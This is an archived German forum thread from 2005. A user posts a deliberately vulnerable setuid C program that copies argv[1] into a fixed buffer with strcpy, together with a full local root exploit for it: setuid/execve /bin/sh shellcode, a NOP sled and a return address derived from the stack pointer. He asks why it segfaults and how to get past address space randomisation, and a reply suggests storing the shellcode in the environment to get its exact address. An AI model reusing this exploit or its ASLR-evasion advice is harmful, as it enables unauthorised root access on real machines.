PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : unbekannter fehler



ethereal_w
09.12.2005, 20:49
hallo, ich habe die das folgende Program:



#include <string.h>

int main(int argc,char *argv[])
{
char buffer[500];
strcpy(buffer,argv[1]);
return 0;
}


Dieses setzte ich +s und versuche, mit folgendem Prog root zu werden:



#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x 5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x 4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x 6e\x2f\x73"
"\x68";

unsigned long sp(void)
{__asm__("movl %esp, %eax");}

int main(int argc,char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();
ret = esp - offset;

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

buffer = malloc(600);

ptr = buffer;

addr_ptr = (long *) ptr;
for(i=0;i < 600; i+=4)
{ *(addr_ptr++) = ret; }

for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }

ptr = buffer + 200;
for(i=0;i<strlen(shellcode);i++)
{ *(ptr++) = shellcode[i]; }

buffer[600-1] = '0';

execl("./vuln","vuln",buffer,0);

free(buffer);

return 0;

}


Leider kommt immer:
Stack pointer (ESP) : 0xbfe5e218
Offset from ESP : 0x0
Desired Return Addr : 0xbfe5e218
Speicherzugriffsfehler


Ist da ein Fehler drin oder woran liegt das???

ethereal_w
09.12.2005, 20:53
gerade habe ich gelesen, dass daran wharscheinlich space randomisation schuld ist. ich weis, dass man es abschalten kann, aber kann man es auch umgehen?

mxn
10.12.2005, 12:19
zum Umgehen wurden auch Links gepostet.

Ausserdem ist der Exploit hässlich, wir sind nicht mehr '95 - wenn du den Shellcode im env speicherst, aknnst du die exakte Position berechnen und die nops weglassen